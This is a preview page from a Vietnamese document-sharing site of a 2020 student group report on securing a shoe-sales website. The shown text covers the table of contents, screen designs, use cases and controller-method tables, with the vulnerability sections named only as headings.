1. Trang chủ
  2. » Luận Văn - Báo Cáo

Báo cáo cuối kỳ bảo mật web. website bán giày

99 26 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Báo Cáo Cuối Kỳ Bảo Mật Web Website Bán Giày
Tác giả Nhóm Thực Hiện: 09
Trường học Trường Đại Học Sư Phạm Kỹ Thuật Tp. Hồ Chí Minh
Chuyên ngành Công Nghệ Thông Tin
Thể loại báo cáo
Năm xuất bản 2020
Thành phố Thành Phố Hồ Chí Minh
Định dạng
Số trang 99
Dung lượng 5,11 MB

Cấu trúc

  • GIÁO DỤC VÀ ĐÀO TẠO

  • Nhóm thực hiện: 09

  • Học kỳ :II - Năm học : 2019-2020

  • GIÁO DỤC VÀ ĐÀO TẠO

  • Nhóm thực hiện: 09

  • BÁO CÁO ĐỒ ÁN MÔN LẬP TRÌNH WEB

  • 1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN:

  • 2. TRÌNH BÀY BÀI TẬP LỚN:

    • 2.1. Mô tả phân công công việc

    • 2.2. Thiết kế giao diện

    • 2.3. Đặc tả phần mềm

  • Bảng 2.3.1 Tác nhân và vai trò của tác nhân

    • 2.4. Thiết kế code

    • 2.5. Thiết kế CSDL

  • 3. CÀI ĐẶT MÔI TRƯỜNG

    • 3.2. Cài đặt SQL Server 2017

  • 4. CHẠY CHƯƠNG TRÌNH:

  • BẢNG PHÂN CÔNG CÔNG VIỆC CỦA THÀNH VIÊN

  • 5. CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG NHƯ CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT

    • 5.3 Sensitive Data Exposure

    • 5.4 XML External Entities (XXE)

    • 5.6 Security Misconfiguration

    • 5.9 Using Components with Known Vulnerabilities

    • 5.10 Insufficent Logging &Monitoring

    • 5.11. Denial of service

    • Khắc phục:

    • 5.13. Burp Suite

  • 6. Thêm tính năng bảo mật cho trang WEB

  • 7. Tài liệu tham khảo

Nội dung

BÁO CÁO CUỐI KỲ BẢO MẬT WEB WEBSITE BÁN GIÀY Nhóm thực hiện: 09 THÀNH PHỐ HỒ CHÍ MINH – 06/2020 MỤC LỤC 1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: 6 2. TRÌNH BÀY BÀI TẬP LỚN: 6 2.1. Mô tả phân công công việc 6 2.2. Thiết kế giao diện 7 2.2.1 Màn hình trang chủ 13 2.2.2 Màn hình đăng nhập 15 2.2.3 Màn hình chi tiết sản phẩm 15 2.2.4 Màn hình giỏ hàng 16 2.2.5 Màn hình xác nhận đơn hàng 17 2.2.6 Màn hình đơn đặt hàng (admin) 18 2.2.7 Màn hình chi tiết đơn đặt hàng (admin) 18 2.2.8 Màn hình chỉnh sửa đơn hàng (Admin) 19 2.2.9 Màn hình danh sách nhân viên (Admin) 19 2.2.10 Màn hình sửa thông tin nhân viên (Admin) 20 2.2.11 Màn hình đăng ký 20 2.2.12 Màn hình danh sách loại giay 21 2.2.13 Màn hình thêm loại giày 21 2.2.14 Màn hình sửa loại giày 22 2.2.15 Màn hình xem loại giày 22 2.2.16 Màn hình danh sách thương hiệu 23 2.2.17 Màn hình thêm thương hiệu 23 2.2.18 Màn hình sửa thương hiệu 24 2.2.19 Màn hình xem thương hiệu 24 2.2.20 Màn hình danh sách nhà cung cấp 25 2.2.21 Màn hình thêm nhà cung cấp 25 2.2.22 Màn hình sửa nhà cung cấp 26 2.2.23 Màn hình xem nhà cung cấp 26 2.2.24 Màn hình danh sách giày 27 2.2.25 Màn hình thêm giày 27 2.2.26 Màn hình sửa giày 28 2.2.27 Màn hình xem chi tiết giày 28 2.2.28 Màn hình đổi thông tin cá nhân 29 2.2.29 Màn hình đổi password 29 2.3. Đặc tả phần mềm 30 2.4. Thiết kế code 38 2.4.1. Danh mục các lớp được sử dụng trong chương trình 38 2.4.2.1. Bảng mô tả các phương thức trong lớp [AdminUsersController] 42 2.4.2.2. Bảng mô tả các phương thức trong lớp [BrandsController] 43 2.4.2.3. Bảng mô tả các phương thức trong lớp [OrderController] 44 2.4.2.4. Bảng mô tả các phương thức trong lớp [OrderDetailsController] 46 2.4.2.5. Bảng mô tả các phương thức trong lớp [ProvidersController] 47 2.4.2.6. Bảng mô tả các phương thức trong lớp [ProviderShoesController] 49 2.4.2.6. Bảng mô tả các phương thức trong lớp [ShoesController] 50 2.4.2.7. Bảng mô tả các phương thức trong lớp [ShoesTypeController] 52 2.5. Thiết kế CSDL 54 2.5.1. Mô hình diagram 54 2.5.2. Mô hình ERD 55 2.5.2.1 Bảng mô tả các trường trong bảng Providers 55 2.5.2.2. Bảng mô tả các trường trong ProviderShoes 56 2.5.2.3. Bảng mô tả các trường trong Brands 56 2.5.2.4. Bảng mô tả các trường trong ShoesTypes 56 2.5.2.5. Bảng mô tả các trường trong Shoes 57 2.5.2.6. Bảng mô tả các trường trong Orders 58 2.5.2.7. Bảng mô tả các trường trong OrderDetails 59 3. CÀI ĐẶT MÔI TRƯỜNG 59 3.1. Cài đặt Visual Studio 2019: 59 3.1.1. Download Visual Studio 2019 59 3.1.2. Cài đăṭ Visusal Studio 2020 60 3.2. Cài đặt SQL Server 2017 67 4. CHẠY CHƯƠNG TRÌNH: 73 5. CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG NHƯ CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT 76 5.1 SQL injection: 76 5.2 Broken Authentication 78 5.2.1 : Authentication Bypasses: 78 5.2.2 : JWT Tokens: 78 5.2.3 : Password reset: 78 5.2.4 : Secure password: 79 5.3 Sensitive Data Exposure 79 5.4 XML External Entities (XXE) 80 5.5 Broken Access Control: 81 5.6 Security Misconfiguration 82 5.7 Cross site Scripting(XSS) 83 5.8 Insecure Deserialization 85 5.9 Using Components with Known Vulnerabilities 86 5.10 Insufficent Logging &Monitoring 86 5.11. Denial of service 87 5.10.1 ZipBomb 88 5.11 : Các lỗi khi sử dụng ZAP 90 5.11.1 X-Frame-Option 90 5.12 Các lỗi khi sử dụng SQL MAP 91 5.13. Burp Suite 92 6. Thêm tính năng bảo mật cho trang WEB 93 7. Tài liệu tham khảo 94 BÁO CÁO ĐỒ ÁN MÔN LẬP TRÌNH WEB 1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: Mục đích: Tìm hiểu, phát hiện các lỗ hổng có thể tấn công vào trang web sau đó tiến hành kiểm thử và sửa lỗ hổng đó. Yêu cầu: Hiểu rõ được các hình thức tấn công, kiểm thử các tấn công đó và sửa thành công các lỗ hổng phát sinh Tổng quan về trang web: Trang web là môt trang web buôn bán giày. Người mua có thể đăt giày và để lại thông tin cá nhân và lịch hẹn khi đăt giày. Nhân viên cửa hàng dựa vào thông tin người mua và phân chia ai sẽ là người tiếp khách hàng. Nhân viên sẽ được cấp môt tài khoản dùng để đăng nhâp vào. Trang web khi đăng nhâp có hai loại tài khoản là Super Addmin và Admin. Super Admin có toàn quyền đối với trang trong khi Admin chỉ có xem đơn hàng mình đã được phân công và câp nhâṭ trên đơn hàng đó. 2. TRÌNH BÀY BÀI TẬP LỚN: 2.1. Mô tả phân công công việc Tên SV Đánh giá chung phần trăm đóng góp Mô tả khái quát mảng công việc SV thực hiện trong đồ án. Huỳnh Thị Kiều Oanh 50% Tâp̣ chung vào phần quản lý đơn hàng, và người dùng. Đăng Thị Thư 50% Tâp̣ trung vào quản lý các thông tin liên quan đến giày. SV hãy tự đánh giá mức độ hoàn thành được mục tiêu của project. Các khó khăn gặp phải, khắc phục thế nào, ý tưởng phát triển đồ án. Những khuyết điểm của đồ án. Những ưu điểm. 2.2. Thiết kế giao diện TT Màn hình chính/Cửa sổ/Dialog Người thiết kế & giải thích Mục đích 1 MH 1: Trang chủ Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Giao diện gồm 3 phần chính: phần đầu trang là tên, logo của trang, giỏ hàng và nơi đăng nhập. Tiếp theo là các loại giày và thanh tìm kiếm. Ở cuối trang là nơi hiển thị các bên đối tác. Hiển thị thông tin quan trọng nhất của trang web 2 MH 2: Màn hình đăng nhập Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Màn hình gồm phần chính là khung đăng nhập giữa màn hình, với 2 ô textbox, cho phép người dùng đăng nhập vào hệ thống với tên đăng nhập và mật khẩu đã đăng kí trước đó, và 1 button submit để xác nhận đăng nhập vào hệ thống Đăng nhập vào hệ thống 3 MH 3: Màn hình chi tiết sản phẩm Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Bao gồm các thông tin cơ bản của giày như: tên, màu sắc, kích cỡ, giá, hiệu… và hình ảnh mô tả sản Hiển thị thông tin của giày và cho khách hàng có thể thêm sản phẩm vào phẩm. Phía dưới thông tin của sản phẩm có nút để thêm vào giỏ hàng và quay lại trang chủ. giỏ hàng. 4 MH 4: Màn hình giỏ hàng Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Hiển thị các sản phẩm mà khách hàng đã thêm vào giỏ hàng và đặt lịch hẹn. Bên cạnh mỗi sản phẩm có nút để bỏ sản phẩm đó ra khỏi giỏ hàn. Hiển thị các sản phẩm đã thêm vào giỏ hàng và đặt lịch hẹn. 5 MH 5: Màn hình xác nhận đơn hàng Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai phần là lịch hẹn và thông tin của các sản phẩm đã mua. Cho khách hàng xác nhận lại các mặt hàng mình đã mua và lịch hẹn. 6 MH 6: Màn hình đơn đặt hàng (admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Hiển thị các đơn đặt hàng của khách. Gồm 2 phần chính là khung tìm kiếm và danh sách các đơn đặt hàng. Khung tìm kiếm có thể tìm theo tên, Email, số điện thoại, địa chỉ hay ngày hẹn. Bên cạnh mỗi đơn có ba nút để xem, sửa và xóa. Bên trái của màn hình là thanh menu để di chuyển giữa các mục. Hiển thị các đơn đặt hàng của khách. 7 MH 7: Màn hình chi tiết đơn đặt hàng (admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm 2 phần bên trái là lịch hẹn của khách và bên phải là thông tin các sản phẩm của đơn hàng. Hiển thị toàn bộ thông tin của đơn hàng. 8 MH 8: Màn hình chỉnh sửa đơn hàng Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm 2 phần: bên trái là các textbox để chỉnh sửa thông tin về lịch hẹn và bên phải là thông tin của sản Chỉnh sửa lại lịch hẹn và thông tin sản phẩm của đơn hàng. (Admin) phẩm. Phía bên dưới có nút Update để lưu lại hay Back to List để quay lại màn hình danh sách đơn hàng. 9 MH 9: Màn hình danh sách nhân viên (Admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một bảng chứa các thông tin của nhân viên như tên, Email, số điện thoại và trạng thái hoạt động. Bên phải của mỗi nhân viên có hai nút để sửa và xóa Xem toàn bộ danh sách nhân viên. 10 MH 9: Màn hình sửa thông tin nhân viên (Admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm 3 textbox hiển thị tên, Email và số điên thoại của nhân viên, chỉ sửa được tên và số điện thoại. Bên dưới là hai button để lưu và quay trở lại màn hình danh sách nhân viên Chỉnh sửa lại tên hoặc số điện thoại của nhân viên. 11 MH 11: Màn hình đăng ký Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Màn hình gồm các textbox để điền thông tin của account mới và checkbox để cấp quyền Super Admin, dưới cùng là button xác nhận đăng ký. Sau khi đăng ký thành công thì được chuyển về màn hình danh sách nhân viên. Đăng ký một tài khoảng mới. 12 MH 12: Màn hình danh sách loại giay Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một bảng hiện thị danh sách các loại giày. Bên phải trên của bản là một button chuyển đến màn hình thêm loại giày mới. Bên phải của mỗi loại giày là ba button để xem, sửa và xóa. Hiển thị tất cả các loại giày. 13 MH 13: Màn hình Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một textbox để nhập tên Thêm một lại giày mới thêm loại giày loại giày và hai button để lưu và quay trở lại trang danh sách loại giày 14 MH 14: Màn hình sửa loại giày Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một textbox để nhập tên loại giày và hai button để lưu và quay trở lại trang danh sách loại giày Sửa lại tên của loại giày 15 MH 15: Màn hình xem loại giày Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một textbox hiện tên loại giày và hai button để chuyển đến trang sửa loại giày và quay trở lại trang danh sách loại giày Xem thông tin loại giày. 16 MH 16: Màn hình danh sách thương hiệu Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một bảng hiện thị danh sách các loại giày. Bên phải trên của bản là một button chuyển đến màn hình thêm hiệu mới. Bên phải của mỗi loại thương hiệu là ba button để xem, sửa và xóa. Hiển thị tất cả các thương hiệu. 17 MH 17: Màn hình thêm thương hiệu Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai textbox hiện tên và quốc gia của thương hiệu và hai button để lưu và quay trở lại trang danh sách thương hiệu. Thêm thương hiệu mới. 18 MH 18: Màn hình sửa thương hiệu Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai textbox hiện tên và quốc gia của thương hiệu và hai button để lưu và quay trở lại trang danh sách thương hiệu. Sửa lại tên và quốc gia của thương hiệu. 19 MH 19: Màn hình xem Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai textbox hiện tên và quốc gia của thương hiệu và hai button Xem tên và quốc gia của thương hiệu.

MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: 6

Mục đích : Tìm hiểu, phát hiện các lỗ hổng có thể tấn công vào trang web sau đó tiến hành kiểm thử và sửa lỗ hổng đó.

Yêu cầu: Hiểu rõ được các hình thức tấn công, kiểm thử các tấn công đó và sửa thành công các lỗ hổng phát sinh

Trang web là nền tảng thương mại điện tử chuyên cung cấp giày, cho phép người mua đặt hàng và cung cấp thông tin cá nhân cùng lịch hẹn Nhân viên cửa hàng sẽ dựa vào thông tin này để phân công người tiếp khách Mỗi nhân viên sẽ được cấp một tài khoản để đăng nhập, với hai loại tài khoản là Super Admin và Admin Super Admin có quyền quản lý toàn bộ trang web, trong khi Admin chỉ có khả năng xem và cập nhật các đơn hàng được phân công.

TRÌNH BÀY BÀI TẬP LỚN: 6

Mô tả phân công công việc 6

Tên SV Đánh giá chung phần trăm đóng góp

Mô tả khái quát mảng công việc

SV thực hiện trong đồ án.

Huỳnh Thị Kiều Oanh chịu trách nhiệm 50% trong việc quản lý đơn hàng và người dùng, trong khi Đăng Thị Thư cũng đảm nhận 50% công việc liên quan đến quản lý thông tin về giày.

SV tự đánh giá mức độ hoàn thành mục tiêu của dự án, nêu rõ các khó khăn đã gặp phải và cách khắc phục Đồng thời, họ cũng chia sẻ ý tưởng phát triển đồ án, chỉ ra những khuyết điểm cũng như ưu điểm nổi bật của dự án.

Thiết kế giao diện 7

TT Màn hình chính/Cửa sổ/Dialog

Người thiết kế & giải thích Mục đích

Trang chủ của Đặng Thị Thư và Huỳnh Thị Kiều Oanh được thiết kế với ba phần chính: phần đầu trang bao gồm tên và logo, giỏ hàng, cùng khu vực đăng nhập Tiếp theo là danh mục các loại giày và thanh tìm kiếm Cuối trang là khu vực hiển thị các đối tác liên kết.

Hiển thị thông tin quan trọng nhất của trang web

Màn hình đăng nhập của Đặng Thị Thư và Huỳnh Thị Kiều Oanh được thiết kế với khung đăng nhập chính giữa màn hình, bao gồm hai ô textbox cho phép người dùng nhập tên đăng nhập và mật khẩu đã đăng ký trước đó Ngoài ra, màn hình còn có một nút submit để xác nhận đăng nhập vào hệ thống.

Màn hình chi tiết sản phẩm của Đặng Thị Thư và Huỳnh Thị Kiều Oanh cung cấp các thông tin cơ bản về giày như tên, màu sắc, kích cỡ, giá cả và thương hiệu, cùng với hình ảnh mô tả sản phẩm rõ ràng.

Hiển thị thông tin chi tiết về giày giúp khách hàng dễ dàng thêm sản phẩm vào giỏ hàng Dưới thông tin sản phẩm, có nút để thêm vào giỏ hàng và quay lại trang chủ, tạo thuận lợi cho việc mua sắm.

Màn hình giỏ hàng của Đặng Thị Thư và Huỳnh Thị Kiều Oanh hiển thị tất cả các sản phẩm mà khách hàng đã thêm vào giỏ hàng và đặt lịch hẹn Mỗi sản phẩm đều có nút cho phép khách hàng dễ dàng loại bỏ sản phẩm đó khỏi giỏ hàng.

Hiển thị các sản phẩm đa thêm vào giỏ hàng và đặt lịch hẹn.

Màn hình xác nhận đơn hàng của Đặng Thị Thư và Huỳnh Thị Kiều Oanh bao gồm hai phần chính: lịch hẹn và thông tin chi tiết về các sản phẩm đã mua.

Cho khách hàng xác nhận lại các mặt hàng mình đa mua và lịch hẹn.

Màn hình đơn đặt hàng

Đặng Thị Thư và Huỳnh Thị Kiều Oanh quản lý hiển thị đơn đặt hàng của khách hàng, bao gồm hai phần chính: khung tìm kiếm và danh sách các đơn đặt hàng.

Khung tìm kiếm cho phép người dùng tra cứu theo tên, email, số điện thoại, địa chỉ hoặc ngày hẹn Mỗi đơn hàng sẽ có ba nút chức năng để xem, sửa và xóa Bên trái màn hình, người dùng có thể dễ dàng di chuyển giữa các mục thông qua thanh menu.

Hiển thị các đơn đặt hàng của khách.

Màn hình chi tiết đơn đặt hàng

Bài viết này đề cập đến việc quản lý đơn hàng, trong đó có hai phần chính: bên trái là lịch hẹn của khách hàng và bên phải là thông tin chi tiết về các sản phẩm trong đơn hàng.

Hiển thị toàn bộ thông tin của đơn hàng.

Màn hình chỉnh sửa đơn hàng của Đặng Thị Thư và Huỳnh Thị Kiều Oanh được chia thành hai phần rõ rệt: bên trái là các ô textbox cho phép người dùng chỉnh sửa thông tin về lịch hẹn, trong khi bên phải hiển thị thông tin chi tiết của sản phẩm.

Chỉnh sửa lại lịch hẹn và thông tin sản phẩm của đơn hàng.

(Admin) phẩm Phía bên dưới có nút Update để lưu lại hay Back to List để quay lại màn hình danh sách đơn hàng.

Màn hình danh sách nhân viên

Bảng thông tin nhân viên do Admin Đặng Thị Thư và Huỳnh Thị Kiều Oanh quản lý bao gồm các dữ liệu quan trọng như tên, email, số điện thoại và trạng thái hoạt động Mỗi nhân viên sẽ có hai nút bên cạnh để thực hiện chức năng sửa đổi và xóa thông tin.

Xem toàn bộ danh sách nhân viên.

Màn hình sửa thông tin nhân viên

Trong giao diện quản lý nhân viên, Admin Đặng Thị Thư và Huỳnh Thị Kiều Oanh có thể thấy ba ô nhập liệu hiển thị tên, email và số điện thoại của nhân viên Người dùng chỉ có thể chỉnh sửa tên và số điện thoại Dưới các ô nhập liệu, có hai nút chức năng cho phép lưu thông tin hoặc quay lại màn hình danh sách nhân viên.

Chỉnh sửa lại tên hoặc số điện thoại của nhân viên.

Màn hình đăng ký của Đặng Thị Thư và Huỳnh Thị Kiều Oanh bao gồm các textbox để nhập thông tin tài khoản mới và checkbox để cấp quyền Super Admin Ở cuối màn hình có nút xác nhận đăng ký.

Sau khi đăng ký thành công thì được chuyển về màn hình danh sách nhân viên. Đăng ký một tài khoảng mới.

Màn hình danh sách loại giày của Đặng Thị Thư và Huỳnh Thị Kiều Oanh hiển thị một bảng danh sách các loại giày Ở góc trên bên phải của bảng có nút để thêm loại giày mới Mỗi loại giày trong danh sách đều có ba nút bên phải để xem, sửa và xóa thông tin.

Hiển thị tất cả các loại giày.

Màn hình Đặng Thị Thư và Huỳnh Thị Kiều Oanh Gồm một textbox để nhập tên

Thêm một lại giày mới thêm loại giày loại giày và hai button để lưu và quay trở lại trang danh sách loại giày

Màn hình sửa loại giày của Đặng Thị Thư và Huỳnh Thị Kiều Oanh bao gồm một ô nhập liệu để người dùng có thể điền tên loại giày, cùng với hai nút chức năng: một để lưu thông tin và một để quay lại trang danh sách các loại giày.

Sửa lại tên của loại giày

Đặc tả phần mềm 30

Hình 2.3.1 UseCase Xem trang chủ

Hình 2.3.4 UseCase Nguoi mua hàng

Hình 2.3.5 UseCase Quản lý hóa đơn

Hình 2.3.6 UseCase Quản lý giày

Hình 2.3.7 UseCase Quản lý hang giày

Hình 2.3.8 UseCase Quản lý loại giày

Hình 2.3.9 UseCase Quản lý nhà cung cấp

Hình 2.3.10 UseCase Quản lý tài khoản Admin

STT Chức năng Mô tả

1 Đăng nhập Nhân viên đăng nhập vào hệ thống

2 Thêm hang giày Khi có hang mới muốn đưa vào

SuperAdmin se thêm :tên , quốc gia

3 Chỉnh sửa thông tin hang giày

SuperAdmin có thể chỉnh sửa thông tin hang giày khi nhập sai hoặc khi có cập nhật mới: tên hang, quốc gia

4 Xóa thông tin hang SupderAdmin có thể xóa thông tin hang giày khi hang đó không còn

5 Thêm loại giày Khi có loại giày mới muôn đưa vào

SuperAdmin se thêm :tên , địa chỉ

6 Sửa thông tin loại giày Khi thông tin loại giày có vấn đề superAdmin có quyền sử đổi thông tin gồm:tên , địa chỉ

7 Xóa thông tin loại giày Khi laoij giày đó không còn superAdmin se xóa thông tin

8 Thêm tài nhà cung cấp Khi có nhà cung cấp mới

SuperAdmin se tạo tài thêm vào:tên nhà cung cấp, địa chỉ.

9 Xóa nhà cung cấp Khi nhà cung cấp đó không còn

10 Sửa thông tin nhà cung cấp

SuperAdmin có thể chỉnh sửa thông tin nhà cung cấp khi nhập sai.

11 Thêm giày SuperAdmin có quyền thêm giày vào danh sách:tên, màu sắc, số lượng, hình ảnh,kích thước, hang, nhà cung cấp.

12 Chỉnh sửa thông tin giày

SuperAdmin se chỉnh sửa thông tin giày khi nhập sai.

13 Xoa thông tin giày SuperAdmin se xóa thông tin giày khi không còn cần thiết

14 Tìm kiếm hóa đơn SuperAdmin và Admin có quyền tìm kiếm hóa đơn đặt hanhfg của khách hàng

15 Cập nhật thông tin hóa đơn

Khi khách hàng đặt hàng SuperAdmin và Admin có quyền xác nhật và cập nhật ngày giao

16 Mua hàng Người mua điền những thông tin cần thiết để xác nhận mua hàng: họ tên , địa chỉ, số điện thoại , ngày muốn giao.

Bảng mô tả các actor

Tên tác nhân Công việc/vai trò

SuperAdmin ∗ Đăng nhập vào hệ thống

∗ Chỉnh sửa thông tin hang giày

∗ Chỉnh sửa thông tin nhà cung cấp

∗ Chỉnh sửa thông tin giày

∗ Phân quyền cho admin xử lý hóa đơn

Khách hàng ∗ Xem trang chủ

∗ Tìm kiếm thông tin giày

Bảng 2.3.1 Tác nhân và vai trò của tác nhân

Thiết kế code 38

2.4.1 Danh mục các lớp được sử dụng trong chương trình

TT Tên Lớp Tên các SV phụ trách

Mục đích chính của lớp trong chương trình

1 AdminUsersController Đặng Thị Thư Quản lý thêm xóa sửa thông tin Admin, xác định view hiển thị thông tin Admin

2 BrandsController Đặng Thị Thư Quản lý thêm xóa sửa thông tin nhan hàng, xác định view hiển thị.

3 OrderController Đặng Thị Thư Quản lý thêm, xóa, sửa thông tin Hóa đơn xác định view hiển thị

4 OrderDetailController Đặng Thị Thư Quản lý thêm, xóa, sửa thông tin Chi tiết hóa đơn xác định view hiển thị

5 ProviderContronller Đặng Thị Thư Quản lý thêm, xóa, sửa, thông tin nhà cung cấp xác định view hiển thị

7 ProviderShoeController Đặng Thị Thư Quản lý thêm xóa sửa thông tin nhà cung cấp loại giày xác định view hiển thị

8 ShoesController Đặng Thị Thư Quản lý thêm xóa, sửa giày xác định view hiển thị

9 ShoeTypeController Đặng Thị Thư Quản lý thêm, xóa, sửa thông tin loại giày xác định view hiển

10 HomeContronller Đặng Thị Thư Chuyển đến trang chủ nơi khách hàng mua sắm

11 ShopingCartController Đặng Thị Thư Chuyển đến trang xác nhận giỏ hàng

13 Brands Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến nhan hàng

14 Providers Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến Nhà cung cấp

15 ShoeTypes Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến loại giày

16 Shoes Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến giày

17 Orders Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến hóa đơn

18 OrderDetails Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến chi tiết hóa đơn

19 PagingInfor Đặng Thị Thư Lớp chưa thông tin liên quan đến việc phân trang

21 Delete trong AdminUsers Đặng Thị Thư Hiển thị trang xóa thông tin Admin theo ma

22 Index trong AdminUsers Đặng Thị Thư Hiển thị trang thông tin của

23 Edit trong AdminUsers Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin Admin theo ma

24 Create trong Brands Đặng Thị Thư Hiển thị trang thêm thông tin nhan hàng

25 Details trong Brands Đặng Thị Thư Hiển thị trang thông tin chi tiết của một nhan hàng

26 Edit trong Brands Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin của một nhan hàng

27 Delete trong Brands Đặng Thị Thư Hiển thị trang xóa một nhan hàng

28 Index trong Brands Đặng Thị Thư Hiển thị trang có tất cả danh sách nhan hàng

29 Delete trong Order Đặng Thị Thư Hiển thị trang xóa thông tin hóa đơn

30 Details trong Order Đặng Thị Thư Hiển thị trang thông tin chi tiết hóa đơn

31 Edit trong Order Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin hóa đơn

32 Index trong Order Đặng Thị Thư Hiển thị trang danh sách hóa đơn

33 ExxportPDF trong Order Đặng Thị Thư Hiển thị trang cho phép export sang PDF

34 Delete trong OrderDetail Đặng Thị Thư Hiển thị trang xóa chi tiết hóa đơn

35 Details trong OrderDetail Đặng Thị Thư Hiển thị trang thông tin chi tiết của chi tiết hóa đơn

36 Edit trong OrderDetail Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin chi tiết hóa đơn

37 Create trong Providers Đặng Thị Thư Hiển thị trang thêm nhà cung cấp

38 Delete trong Providers Đặng Thị Thư Hiển thị trang xóa thông tin nhà cung cấp

39 Details trong Providers Đặng Thị Thư Hiển thị trang thông tin chi tiết của nhà cung cấp

40 Edit trong Providers Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin của nhà cung cấp

41 Index trong Providers Đặng Thị Thư Hiển thị trang danh sách nhà cung cấp

42 Create trong ProviderShoes Đặng Thị Thư Hiển thị trang thêm nhà cung cấp loại giày nhất định

43 Edit trong ProviderShoes Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin nhà cung cấp loại giày nhất định

ProviderShoes Đặng Thị Thư Hiển thị trang thông tin chi tiết của nhà cung cấp loại giày nhất định

45 Delete trong ProviderShoes Đặng Thị Thư Hiển thị trang xóa thông tin nhà cung cấp loại giày

46 Index trong ProviderShoes Đặng Thị Thư Hiển thị danh sách các nhà cung cấp các loại giày

47 Create trong Shoes Đặng Thị Thư Hiển thị trang thêm thông tin giày

48 Edit trong Shoes Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin giày

49 Details trong Shoes Đặng Thị Thư Hiển thị trang thông tin chi tiết của giày

50 Delete trong Shoes Đặng Thị Thư Hiển thị trang xóa thông tin giày

51 Index trong Shoes Đặng Thị Thư Hiển thị trang danh sách giày

52 Create trong ShoeTypes Đặng Thị Thư Hiển thị trang thêm thông tin loại giày

53 Details trong ShoeTypes Đặng Thị Thư Hiển thị trang thông tin chi tiết loại giày

54 Delete trong ShoeTypes Đặng Thị Thư Hiển thị trang xóa thông tin loại giày

55 Edit trong ShoeTypes Đặng Thị Thư Hiển thị trang chỉnh sửa thông tin loại giày

56 Index trong ShoeTypes Đặng Thị Thư Hiển thị trang danh sách loại giày

Customer Đặng Thị Thư Hiển thị trang chủ mua sách của khách hàng

Customer Đặng Thị Thư Hiển thị thông tin chi tiết sản phẩm được chọn

ShoppingCart Đặng Thị Thư Hiển thị trang xác nhận mua hàng

60 Index trong ShoppingCart Đặng Thị Thư Hiển thị danh sách đa xác nhận đặt hàng

61 Layout Đặng Thị Thư Hiển thị trang chủ cho

62 LayoutCustomer Đặng Thị Thư Hiển thị trang chủ cho khách hàng

63 LoginPartial Đặng Thị Thư Hiển thị trang đăng nhập

64 OrderCustomerDetails Đặng Thị Thư Hiển thị trang danh sách hóa đơn xác nhận của khách hàng

65 OrderShoeDetails Đặng Thị Thư Hiển thị chi tiết hóa đơn

,cần xác nhận cho khách hàng

66 CheckBoxViewModel Đặng Thị Thư Lớp chứa thông tin khởi tạo liên quan đến tạo check thông tin

67 HomeViewModel Đặng Thị Thư Lớp khởi tạo để dễ dàng trong việc phân trang giày, tìm kiếm

68 OrderDetailsViewModel Đặng Thị Thư Lớp khởi tạo chi tiết nhân viên thực hiện xác nhận chi tiết hóa đơn

69 OrderViewModel Đặng Thị Thư Lớp khởi tạo thông tin hóa đơn và phân trang

70 ProviderShoesModel Đặng Thị Thư Lớp khởi tạo thông tin của nhà cung cấp và loại giày

71 ShoesViewModel Đặng Thị Thư Lớp khởi tạo thông tin liên quan đến giày, loại giày, nhà cung cấp

72 ShoppingCartViewModel Đặng Thị Thư Lớp khởi tạo thông tin liên quán đến giày và hóa đơn

2.4.2 Mô tả các phương thức (được sử dụng trong chương trình) của các lớp. 2.4.2.1 Bảng mô tả các phương thức trong lớp [AdminUsersController]

Mục đích chính của phương thức trong chương trình

Input Output Ma giả Tên file có gọi sử dụng phương thức. Liệt kê số dòng vị trí gọi.

1 Index Trả về trong view danh sách Admin

Trả về 1 View danh sách

2 Edit Thực hiện hiện thị ra thông tin cần chỉnh sửa string id

Trả về 1 View thông tin admin

3 PostEdit Thực hiện chỉnh sửa thông tin lưu vào database string id, Applic ationU ser admin

Trả về là View thông tin đa chỉnh sửa

4 Delete Thực hiển hiển thị thông tin cần xóa string id

Trả về 1 View thông tin admin

5 PostDelete Thực hiện với database xóa thông tin string id, Apllica tionUs eradmi n

